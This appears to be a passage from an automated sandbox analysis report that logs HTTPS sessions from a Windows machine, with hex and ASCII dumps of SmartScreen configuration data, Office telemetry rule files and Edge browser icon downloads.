2024-10-31 02:04:31 UTC	739	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-31 02:04:32 UTC	302	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:31 GMT Content-Type: application/octet-stream Content-Length: 130439 Connection: close Server: Kestrel ETag: "2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-10-31 02:04:32 UTC	16082	IN	Data Raw: 7b 0d 0a 20 20 22 67 65 6f 69 64 4d 61 70 73 22 3a 20 7b 0d 0a 20 20 20 20 22 61 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 61 75 73 74 72 61 6c 69 61 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 63 68 22 3a 20 22 68 74 74 70 73 3a 2f 2f 73 77 69 74 7a 65 72 6c 61 6e 64 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 65 75 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 75 72 6f 70 65 2e 73 6d 61 72 74 73 63 72 65 65 6e 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 22 2c 0d 0a 20 20 20 20 22 66 66 6c 34 22 3a 20 22 68 74 74 70 73 3a 2f 2f 75 6e 69 74 65 64 73 74 61 74 65 73 31 2e 73 73 2e 77 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 75 73 2f 22 2c 0d 0a Data Ascii: { "geoidMaps": { "au": "https://australia.smartscreen.microsoft.com/", "ch": "https://switzerland.smartscreen.microsoft.com/", "eu": "https://europe.smartscreen.microsoft.com/", "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",
2024-10-31 02:04:32 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 30 39 63 34 37 36 32 37 62 63 35 33 33 62 35 39 32 34 61 30 35 35 61 30 34 62 63 34 63 33 33 65 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 39 2e 35 38 33 34 34 30 31 37 37 34 34 37 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 36 33 34 65 62 32 30 64 62 35 30 38 65 33 61 33 31 62 36 31 34 38 31 61 32 35 31 62 66 39 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 33 33 37 30 36 38 35 39 32 37 38 32 37 33 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: { "key": "09c47627bc533b5924a055a04bc4c33e", "value": 9.58344017744784 }, { "key": "e634eb20db508e3a31b61481a251bf93", "value": -0.337068592782735
2024-10-31 02:04:32 UTC	16384	IN	Data Raw: 30 37 37 37 34 37 33 33 30 39 35 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 31 32 62 62 65 66 63 30 35 64 35 31 34 32 65 37 65 62 36 38 36 66 61 64 38 64 65 61 39 32 31 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 35 37 31 37 37 35 33 31 31 38 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 65 35 66 62 38 64 66 31 32 35 61 34 37 32 31 64 31 64 66 33 32 38 62 63 36 66 32 64 64 65 61 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a Data Ascii: 07774733095 }, { "key": "12bbefc05d5142e7eb686fad8dea9211", "value": -1.05717753118094 }, { "key": "ce5fb8df125a4721d1df328bc6f2ddea", "value":
2024-10-31 02:04:32 UTC	16384	IN	Data Raw: 20 2d 31 2e 39 30 31 33 34 36 37 39 37 33 36 34 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 66 32 33 35 64 63 66 36 62 34 32 39 62 61 34 31 36 64 63 65 37 34 64 34 62 36 66 62 63 34 37 62 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 31 2e 32 36 30 31 38 31 31 38 35 36 30 38 38 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 38 66 31 37 64 37 34 30 33 61 63 35 66 66 32 38 39 36 61 37 31 33 61 37 31 37 35 65 64 31 39 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-10-31 02:04:32 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-10-31 02:04:32 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-10-31 02:04:32 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-10-31 02:04:32 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:31 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1d33856d-201e-000c-0612-2979c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020431Z-17c5cb586f6wmhkn5q6fu8c5ss000000088000000000ks3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:31 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:31 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:31 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020431Z-16849878b78nzcqcd7bed2fb6n00000001bg000000007cws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:31 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	49866	13.107.246.57	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:32 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:32 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:32 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: d414cbbc-701e-0005-7e90-289c78000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241031T020432Z-16849878b78g2m84h2v9sta29000000007v0000000007a5r Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:32 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	49867	13.107.246.57	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:32 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:32 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:32 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: b003c4e3-a01e-0061-6990-282cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241031T020432Z-16849878b786lft2mu9uftf3y40000000a3000000000gpa4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:32 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49865	13.107.246.57	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:32 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:32 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:32 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 28027cef-b01e-003a-3dd5-282ba4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241031T020432Z-16849878b78qfbkc5yywmsbg0c00000008g000000000k4fv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:32 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49863	13.107.246.57	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:32 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:32 UTC	536	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:32 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5984f239-a01e-0048-0690-285a9a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241031T020432Z-16849878b786lft2mu9uftf3y40000000a6g000000004fp9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:32 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49868	13.107.246.57	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
